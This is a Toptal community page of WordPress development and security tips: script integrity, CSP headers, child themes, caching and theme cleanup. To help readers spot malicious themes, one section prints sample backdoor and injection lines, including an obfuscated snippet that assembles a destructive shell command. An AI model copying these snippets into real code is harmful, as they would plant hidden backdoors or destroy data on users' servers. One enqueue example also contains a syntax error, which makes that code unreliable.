WordPress Development Best Practices and Tips by Toptal Developers

WordPress is a content management system that powers 34% of all websites on the internet and 60% of websites that run on CMS. The power of WordPress is in the ecosystem—there are a lot of different plugins and themes. Anyone without any special programming knowledge can build a website, but a working knowledge of WordPress intricacies is a boon to any developer or designer resume.

The popularity of WordPress—especially among non-programmers—also makes it a target, so security practices are crucial. For instance, intruders often create visually attractive themes and distribute them for free. The themes then contain malicious scripts that can steal site traffic or even users’ personal or payment data.

This resource contains a collection of WordPress development best practices and WordPress development tips provided by our Toptal network members. It now also includes steps to help WordPress site administrators avoid installing malicious scripts alongside WordPress themes.

This is a community-driven project, so you are encouraged to contribute as well, and we are counting on your feedback.

Check out the Toptal resource pages for additional information on WordPress development; there is a WordPress developer hiring guide and WordPress developer interview questions. You may also be interested in How to Approach Modern WordPress Development to get up to speed with the latest techniques.

Always Use the Original Version of Any Third-party JS Libraries

The Problem

Your WordPress theme might have injected third-party scripts inside its JavaScript libraries. After minifications and obfuscations, it is almost impossible to discover injected JavaScript parts.

The Solution

If you see that a template you’ve downloaded uses some third-party JS libraries, check the version it uses and replace the file with a freshly downloaded one of the same version from the original repository. It almost guarantees you don’t have any malicious scripts included in the library. (Libraries themselves can be the source of malware; such cases are rare but they do happen. See “Protect Against the Vulnerability of Other Websites” below.)

Contributors
Elvira is a senior software engineer with nearly 15 years of experience in full-stack web development and automation. Her main focus is on helping businesses to grow by leveraging new technologies and proven solutions alike. She is a dedicated, efficient individual with strong problem-solving and analytical skills.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Protect Against the Vulnerability of Other Websites

The Problem

If you use any third-party libraries, and the library itself becomes modified with malicious code, this will affect all websites that use this library.

The Solution

Use Subresource Integrity (SRI), i.e., always add the integrity HTML attribute when adding external scripts. The integrity attribute’s value is a checksum of the file:

<script
  src="https://code.jquery.com/jquery-3.4.1.min.js"
  integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo="
></script>

If something was changed, the checksum will also be different, and the browser won’t load the script.

To generate an integrity token, you can use the SRI Hash Generator or command-line tools like openssl or shasum.

Contributors
Elvira is a senior software engineer with nearly 15 years of experience in full-stack web development and automation. Her main focus is on helping businesses to grow by leveraging new technologies and proven solutions alike. She is a dedicated, efficient individual with strong problem-solving and analytical skills.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Suspect the Encoded Part of the Code

The Problem

To hide the part of the code that does something you are not expecting, intruders encode the code in a base64 string. For example, the string Hello would be encoded as SGVsbG8=.

The Solution

To run the encoded parts, the script needs to decode it. Check your template for any use of the base64_decode or atob functions. The first one is the PHP function that works on the server-side, and the second one is a JavaScript function of the window object, which means it is always available on the page (except in some old versions of Internet Explorer).

Note that you cannot necessarily remove these parts completely, because they might contain valid parts, such as the original JavaScript library, as well.

Step 1: Replace the encoded part with decoded code. You can use either of the functions mentioned above or any online decoding service. The code will do the same thing as before, but at least now you can clearly see what it does.

Step 2: Find and remove the malicious part of the code.

There are many ways malicious code can work and intruders can be quite creative. So it is impossible to guess what malicious code would look like in every case.

That said, common scenarios include:

  • Backdoors. Any use of $_POST or $_GET parameters that somebody wanted to hide should be suspected:
file_put_contents('wp-config.php', $_POST['dkfpsnwm']);
  • Traffic redirection. Any headers-changing that somebody wanted to hide should be suspected.
header('Location: http://www.toptal.com/');
  • Injecting third-party code into the page. In the simple case, you would see document.write(), but more professionally written viruses would more likely place the code through the anonymous functions using create_function():
document.write('<s'+'crip'+'t type="text/jav'+'ascr'+'ipt" src="http://example.com/some.js"></scr'+'ipt>');

// the next code is the same as running 
// shell_exec('rm -rf')
$ggwibsz = "create_function";
$dfsd = "shell";
$sdsd = "exec";
$sldd = "r";
$agqbtwu = "{$dfsd}_{$sdsd}('{$sldd}m -{$sldd}f')";
$qfzibwb = $ggwibsz("", $agqbtwu); 
$qfzibwb();

The above examples also show that any uses of functions that allow running bash scripts (such as shell_exec, system, and exec) or access the file system should be suspicious.

  • Running dynamic code. The eval functions in both PHP and JavaScript run code given to them as parameters. (Do you know exactly what that code does?)

Generally considered a bad practice, the use of eval functions can—even unintentionally—create backdoors, especially if the code passed to them comes from a POST or GET parameter.

Sometimes, you have to return to Step 1 because the encoded part might have nested encoded parts.

The wider PHP community has created a good list of the PHP functions that intruders might use.

Further Reading

Contributors
Elvira is a senior software engineer with nearly 15 years of experience in full-stack web development and automation. Her main focus is on helping businesses to grow by leveraging new technologies and proven solutions alike. She is a dedicated, efficient individual with strong problem-solving and analytical skills.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Check the Use of JavaScript Even in Unexpected Places

The main goal of encoding and obfuscating code is to hide malicious code as deeply as possible, making it harder to find for the user and even for antivirus software. That is why it is important to check functions that accept callbacks for PHP, and parts that run JavaScript indirectly, like events and JavaScript code embedded in other tags or CSS styles (IE only).

Although the XSS attack was introduced more than 20 years ago, it is still currently an issue for developers to grapple with. XSS is the seventh most prevalent issue in the OWASP Top 10 and is found in around two-thirds of all applications.

Trying to secure customers in 2010, Google Chrome’s developers invented an XSS auditor that prevented some XSS attacks. But intruders created a bunch of bypasses. That is why it was removed in 2019 from Chrome version 78.

Places to check for malicious code include:

  • Direct execution of JS (eval(), function(), and the src attribute on <script> tags)
  • Callback on functions like setInterval() and setTimeout()
  • Dynamically included elements on the page (document.write(); elem.setAttribute() for attributes like href, onclick, etc.; and elem.innerHTML)
  • Executable events (This list includes information about browser support.)
  • Features allowing users to upload SVGs. This should be avoided if it is not necessary, since it allows another type of web attack, XML external entity (XXE) injection.
Contributors
Elvira is a senior software engineer with nearly 15 years of experience in full-stack web development and automation. Her main focus is on helping businesses to grow by leveraging new technologies and proven solutions alike. She is a dedicated, efficient individual with strong problem-solving and analytical skills.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Control the List of External Sources Allowed to Be Included in the Page

Content-Security-Policy is a security standard that has been widely adopted by web browsers since 2015. It allows setting an HTTP header that whitelists resources that scripts are allowed to be loaded from.

The Problem

An intruder might add to a page through SQL injection (or another vulnerability) some scripts (or external script files) with malicious code.

The Solution

By adding the right HTTP headers, you can be sure that only scripts from a whitelist will be loaded and run on a page. To add headers in WordPress, developers can use the send_headers hook by adding the code below to the function.php of a given theme:

add_action( 'send_headers', 'add_csp_headers' ); function add_csp_headers() { 
  header( "Content-Security-Policy: default-src 'self' "); 
}

There are other headers, too, that can be used to configure CSP.

Configuring CSP for WordPress is quite challenging because of the plugins that need inline JS, third-party libraries, etc. Even WordPress core code has some inline JS code. At the time of this writing, the discussion about making WordPress CSP-friendly isn’t finished yet.

In my opinion, every website owner should find a balance that is appropriate in their situation between security and difficulty of maintenance. How dangerous would it be if some XSS attacks were to happen? The answer is different for a personal blog and for a complex service built on WordPress.

To make your website CSP-friendly, move as much as possible usage of inline JS and CSS to external files, and add a nonce part to <script> tags that can’t be made external. The nonce is a random string that should be unique for each request and coincide with the one mentioned in the CSP header.

Some articles suggest adding an unsafe-inline header. Don’t do it! It gives the appearance of using CSP but disables protection from running injected scripts. (The reason that some suggest it is because it easily makes CSP “work” with WordPress.)

Changing the way WordPress renders scripts is possible through the script_loader_tag filter:

add_filter( 'script_loader_tag', 'add_nonce_to_script_tag', 10, 3 );
function add_nonce_to_script_tag( $tag, $handle, $src ) {
  $nonce = bin2hex(random_bytes(32));
  $replace = sprintf("javascript' nonce='%s' ", $nonce );
  $tag = str_replace( "javascript'", $replace, $tag);
  return $tag;
}

Do not use wp_create_nonce() to generate a nonce, as it generates the same nonce for at least 12 hours (24 hours, by default).

The filter for script_loader_tag would work for everything, except, unfortunately, for the scripts added by wp_localize_script() and HTML parts where WordPress hard-coded a <script> tag. The solution might be in filtering all code generated by WP before outputting until the core WP team finds a proper solution.

function callback($buffer) {

  $nonce = bin2hex(random_bytes(32));
  $replace = sprintf("<script nonce='%s' ", $nonce );
  $buffer = preg_replace( "/<script/", $replace, $buffer);
  return $buffer;
}

function buffer_start() { ob_start("callback"); }
function buffer_end() { ob_end_flush(); }

add_action('after_setup_theme', 'buffer_start');
add_action('shutdown', 'buffer_end');

This won’t protect from stored XSS, but it helps to prevent DOM-based XSS.

Contributors
Elvira is a senior software engineer with nearly 15 years of experience in full-stack web development and automation. Her main focus is on helping businesses to grow by leveraging new technologies and proven solutions alike. She is a dedicated, efficient individual with strong problem-solving and analytical skills.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Change the Default Path of the Project

This is especially important if a user can easily understand which CMS or framework you are using.

The Problem

If your website is hosted on improperly sandboxed shared hosting and any other site on the same hosting has a vulnerability, your website is also in danger. Once intruders have access to the server, they might upload a script that will change the source code of your website. Such scripts usually use the default path to the template folders and add malicious code to the templates.

The Solution

Changing the default paths is easy to do and protects your website from the malicious scripts mentioned above. In WordPress, this is done by defining several constants in the wp-config.php file.

For example, let’s rename the wp-content folder to content:

define( 'WP_CONTENT_DIR', dirname( __FILE__ ) . '/content' );

define( 'WP_CONTENT_URL', 'https://' . $_SERVER['HTTP_HOST'] . '/content' );
Contributors
Elvira is a senior software engineer with nearly 15 years of experience in full-stack web development and automation. Her main focus is on helping businesses to grow by leveraging new technologies and proven solutions alike. She is a dedicated, efficient individual with strong problem-solving and analytical skills.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Disallow Being Shown in an Iframe

An iframe (short for inline frame) is an HTML element that allows an external webpage to be embedded in an HTML document.

TechTerms

The Problem

An intruder might show your website under their domain in an iframe. In this case, they have all the power of JavaScript to override links or other parts of the HTML of your website.

The Solution

Add the header X-Frame-Options: sameorigin in Apache’s httpd.conf (or equivalent), or through PHP:

<?php 

header("X-Frame-Options: sameorigin");

?>

And/or check with JavaScript that there are no frames used, and redirect to the original website if there are:

<script>

if (self.parent && (self.parent !== self) && (self.parent.frames.length != 0)) {
  self.parent.location = document.location;
}

</script>
Contributors
Elvira is a senior software engineer with nearly 15 years of experience in full-stack web development and automation. Her main focus is on helping businesses to grow by leveraging new technologies and proven solutions alike. She is a dedicated, efficient individual with strong problem-solving and analytical skills.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Protect User Identities

The Problem

Almost all websites use cookies to store session data. This allows them to “remember” users between the sessions. If someone has stolen a session cookie, they might log in as another user. Losing any cookies is dangerous because they all have some personal user data.

The Solution

The easiest way to protect your website users from session hijacking is to set the HttpOnly flag on the cookies that are used only from the server-side.

In the case of a CMS, where it’s impractical to edit the core of the CMS (because any changes in the core code would be replaced in the next update) and the way cookies are set, you can globally change configurations through ini_set in wp-config.php:

ini_set('session.cookie_httponly', true);

ini_set('session.cookie_secure', true);

ini_set('session.use_only_cookies', true);
Contributors
Elvira is a senior software engineer with nearly 15 years of experience in full-stack web development and automation. Her main focus is on helping businesses to grow by leveraging new technologies and proven solutions alike. She is a dedicated, efficient individual with strong problem-solving and analytical skills.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Use Child Themes and Plugins

A lot of newcomers to WordPress dive right in and start modifying their core theme files. This is a definite mistake. All of your changes will disappear right after an upgrade, and since plugins and themes are updated about as often as apps on your phone, this is pretty frequently.

To avoid this, create children of your plugins and themes. Not only will you preserve your changes, you can upgrade on your own time. The same steps used to create a child theme can be applied to creating a child plugin, but let’s use creating a child theme as our example.

To get started making your child theme, create a new folder in your themes folder with a unique name, then create a style.css file in your new folder.

In WordPress, all theme parameters are stored in the style.css file as the first comment block. Open the style.css from your original theme, the parent, to see an example of this.

For your child theme, go ahead and copy that comment block from your original theme’s style.css to the new file and rename it. Adding the template parameter to this header will link your new theme to the original. The Template parameter should point to the folder name of the original theme, like so:

/*
Theme Name: Twenty Fourteen Child Theme
Description: My new child theme based on Twenty Fourteen
Template: twentyfourteen
Version: 1.0
*/

Now, if you want to modify files of the original theme, copy them from the original theme’s folder and paste them into your child theme folder. WordPress will use original template files unless it sees the same file in your child theme. So if you want to make changes to header.php, copy it from your original theme into your new child theme folder, and make the changes in the copy. For adding new or modified code, you likewise create a new functions file in your child theme and make your changes there.

This same file copying strategy goes for many plugins as well: create a folder with the same name as a plugin inside your child theme, and then adhering to the file structure of the original plugin folder, copy files from the original plugin to your new folder and modify them. Most major plugins support this, but it’s always good to check with the author if you are not sure.

Contributors
Alex has built, managed, and led a design agency that provided branding, marketing, and web development services. He grew it from a small startup to one of the best design firms in the city in less than three years. During that time, he has provided branding, app design, UX/UI solutions for clients in various industries including Fox Sports, Credit Karma, Goodwill, the USDA, and the US Air Force.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Speed Things Up with Caching

WordPress optimized hosting services such as Siteground, or the more expensive Wpengine, automatically support WordPress caching. If your host is one that has WordPress specific caching available, it’s the best option.

For those running on a VPS server with root access, Google PageSpeed is a turn key caching and optimization solution by Google that works with Apache and nginx. If that’s of interest to you, check out this guide on how to install PageSpeed on Plesk with CentOS.

If all of that sounds like too much work, then go with Cloudflare, a free CDN/Firewall/Caching and minification system.

Speaking of minification, minify your files yourself during development. Third party tools tend to break things more often than not, especially during upgrades. Doing it yourself gives you more control and awareness of when and where things go wrong.

Contributors
Alex has built, managed, and led a design agency that provided branding, marketing, and web development services. He grew it from a small startup to one of the best design firms in the city in less than three years. During that time, he has provided branding, app design, UX/UI solutions for clients in various industries including Fox Sports, Credit Karma, Goodwill, the USDA, and the US Air Force.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Pay Attention to Security

WordPress’s popularity makes it a high priority target for hackers. If you don’t update often, you are pretty much asking to get your site hacked.

Automatic updates are a little too dangerous for users with a lot of customizations and plugins, which is why I strongly suggest installing some sort of security plugin.

I personally recommend iTheme Security, which implements security options like a password lockout and file monitoring. And Wordfence Security, a WordPress specific firewall for your site.

Contributors
Alex has built, managed, and led a design agency that provided branding, marketing, and web development services. He grew it from a small startup to one of the best design firms in the city in less than three years. During that time, he has provided branding, app design, UX/UI solutions for clients in various industries including Fox Sports, Credit Karma, Goodwill, the USDA, and the US Air Force.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Three Developer Tools to Make Life Easier

WordPress has many plugins and add-ons to make your developer life a lot easier. In particular, I recommend:

WP-Cli

WP-Cli lets you work with WordPress using the command line. With this great tool you can upgrade and downgrade WordPress in seconds, as well as update plugins. Notably, when you find yourself migrating to a different server, the built in search-replace command will take care of all the url changes for you, and it’s worth installing it simply because of that.

Advanced Database Cleaner

The Advanced Database Cleaner plugin cleans out spam comments, built in revisions, and transients. You can even set up tasks to run automatically.

Query Monitor

When things are running slowly and you’re not sure what to blame, Query Monitor lets you see what queries are taking too long to execute, as well as show you PHP warnings and errors.

Contributors
Alex has built, managed, and led a design agency that provided branding, marketing, and web development services. He grew it from a small startup to one of the best design firms in the city in less than three years. During that time, he has provided branding, app design, UX/UI solutions for clients in various industries including Fox Sports, Credit Karma, Goodwill, the USDA, and the US Air Force.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Don’t Overdose on Plugins

Yes, WordPress has tons of plugins, but that doesn’t mean you should install them all. The more plugins you have, the bulkier your site and the slower your loading times, so don’t use plugins unless absolutely necessary. If you only need to add a few custom fields to your posts (a functionality already included in WordPress) don’t overengineer the solution by installing the advanced custom field plugin, ACF.

If you must use a lot of plugins, make sure you have Plugin Organizer installed to manage them. This great plugin lets you specify what plugins are activated on which pages (you can even use regular expressions), and this selective loading will significantly speed up your site.

You can also use tools like P3 (Plugin Performance Profiler) to see what plugins are taking up most of your precious resources.

Contributors
Alex has built, managed, and led a design agency that provided branding, marketing, and web development services. He grew it from a small startup to one of the best design firms in the city in less than three years. During that time, he has provided branding, app design, UX/UI solutions for clients in various industries including Fox Sports, Credit Karma, Goodwill, the USDA, and the US Air Force.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Spring Clean Your WordPress Functions

Although great, WordPress comes out of the box with a lot of things that cannot be turned off in the settings. Here are a handful of steps to take any fresh WordPress install and make it more secure and perform better:

Remove the WordPress Version

Get rid of the WordPress version number to make your site harder to be identified by hackers. To do this, add the following to your functions.php file:

add_filter( 'the_generator', '__return_null' );

Remove Script Versions

Get rid of the version number after scripts. By default, WordPress adds versions to all your scripts. This can lead to issues with caching/minification plugins, as well as helps hackers identify your site better. To prevent this functionality, add the following code to your theme functions file:

function remove_cssjs_ver( $src ) {
		if( strpos( $src, '?ver=' ) )
			$src = remove_query_arg( 'ver', $src );
		return $src;
	}
add_filter( 'style_loader_src', 'remove_cssjs_ver', 1000 );
add_filter( 'script_loader_src', 'remove_cssjs_ver', 1000 );

Restrict WooCommerce

Did you install WooCommerce, and now the site is running slowly? Adding this function to your functions.php will prevent WooCommerce from loading its scripts on non-WooCommerce pages:

/**
 * Tweak WooCommerce styles and scripts.
 * Original credit goes to Greg from: https://gist.github.com/gregrickaby/2846416
 */
function grd_woocommerce_script_cleaner() {
	
	// Remove the generator tag, to reduce WooCommerce based hacking attacks
	remove_action( 'wp_head', array( $GLOBALS['woocommerce'], 'generator' ) );
	// Unless we're in the store, remove all the scripts and junk!
	if ( ! is_woocommerce() && ! is_cart() && ! is_checkout() ) {
		wp_dequeue_style( 'woocommerce_frontend_styles' );
		wp_dequeue_style( 'woocommerce-general');
		wp_dequeue_style( 'woocommerce-layout' );
		wp_dequeue_style( 'woocommerce-smallscreen' );
		wp_dequeue_style( 'woocommerce_fancybox_styles' );
		wp_dequeue_style( 'woocommerce_chosen_styles' );
		wp_dequeue_style( 'woocommerce_prettyPhoto_css' );
		wp_dequeue_style( 'select2' );
		wp_dequeue_script( 'wc-add-payment-method' );
		wp_dequeue_script( 'wc-lost-password' );
		wp_dequeue_script( 'wc_price_slider' );
		wp_dequeue_script( 'wc-single-product' );
		wp_dequeue_script( 'wc-add-to-cart' );
		wp_dequeue_script( 'wc-cart-fragments' );
		wp_dequeue_script( 'wc-credit-card-form' );
		wp_dequeue_script( 'wc-checkout' );
		wp_dequeue_script( 'wc-add-to-cart-variation' );
		wp_dequeue_script( 'wc-single-product' );
		wp_dequeue_script( 'wc-cart' ); 
		wp_dequeue_script( 'wc-chosen' );
		wp_dequeue_script( 'woocommerce' );
		wp_dequeue_script( 'prettyPhoto' );
		wp_dequeue_script( 'prettyPhoto-init' );
		wp_dequeue_script( 'jquery-blockui' );
		wp_dequeue_script( 'jquery-placeholder' );
		wp_dequeue_script( 'jquery-payment' );
		wp_dequeue_script( 'jqueryui' );
		wp_dequeue_script( 'fancybox' );
		wp_dequeue_script( 'wcqi-js' );

	}
}
add_action( 'wp_enqueue_scripts', 'grd_woocommerce_script_cleaner', 99 );

Enable Shortcodes in a Widget Area

Trying to use shortcodes in a widget area and getting nothing? Drop this in into functions.php to use shortcodes in widget areas:

add_filter('widget_text', 'do_shortcode');
Contributors
Alex has built, managed, and led a design agency that provided branding, marketing, and web development services. He grew it from a small startup to one of the best design firms in the city in less than three years. During that time, he has provided branding, app design, UX/UI solutions for clients in various industries including Fox Sports, Credit Karma, Goodwill, the USDA, and the US Air Force.
Like what you're reading?Get the latest updates first.

Thank you for subscribing! Check your inbox to confirm subscription. You’ll start receiving posts after you confirm.

Use a Function to Load Scripts and CSS

WordPress already keeps track of all the scripts and CSS that it has loaded, so instead of adding your JS and CSS into a header or footer, let WordPress handle it with its enqueue functionality. This way WordPress will keep dependencies in check and you will avoid potential conflicts. You add enqueue methods to your theme’s function.php file: wp_enqueue_script() or wp_enqueue_style(), respectively. Here is an example with some explanatory comments:

function add_theme_scripts() {
//example script from CDN, true means our script will be in the footer.
wp_enqueue_script( 'particles', '//cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js', array(), null, true );
});

//All referred to when to load your style like: 'screen', 'print' or 'handheld.
wp_enqueue_style( 'slider', get_template_directory_uri() . '/css/slider.css',false, null,'all'); 

//this will actually execute our function above
add_action( 'wp_enqueue_scripts', 'add_theme_scripts' ); 

WordPress.org’s Theme Handbook further explains the many parameters to an enqueue method, but here’s the method signature for both enqueue methods:

wp_enqueue_style($handle, $src, $deps, $ver, $media );
wp_enqueue_script($handle, $src, $deps, $ver, $in_footer);

As you can see, the only difference between these two methods is the final parameter. For wp_enqueue_style(), the last parameter sets the media for which this stylesheet has been defined. Such as screen (computer), print (print preview mode), handheld, and so on. The last parameter for wp_enqueue_script() specifies whether or not the script should be loaded in the footer.

Here’s a breakdown for the other parameters in our example:

  • $handle is the name of the stylesheet, which can be anything you’d like.
  • $src is where the stylesheet is located (CDN, local, etc). This is the only required parameter.
  • $deps stands for dependencies. When passed a stylesheet handle, it will load it before executing the source script. When $deps is passed in wp_enqueue_script(), it’s an array.
  • $ver sets the version number.
  • $media is the wp_enqueue_style() only parameter. It specifies which type of display media the stylesheet is designed for, such as ‘all’, ‘screen’, ‘print’ or ‘handheld.’
  • $in_footer is the wp_enqueue_script()’s only parameter, a boolean that allows you to place your scripts in the footer of your HTML rather than in the header, which means it will not delay the loading of the DOM tree.
Contributors
Alex has built, managed, and led a design agency that provided branding, marketing, and web development services. He grew it from a small startup to one of the best design firms in the city in less than three years. During that time, he has provided branding, app design, UX/UI solutions for clients in various industries including Fox Sports, Credit Karma, Goodwill, the USDA, and the US Air Force.

Submit a tip

Fields marked with an asterisk (*) are required

Thanks for submitting your tip proposal
Our editorial staff will review it shortly. Please note that tips proposals are subject to review and editing, and may or may not be selected for posting, at the sole discretion of Toptal, LLC.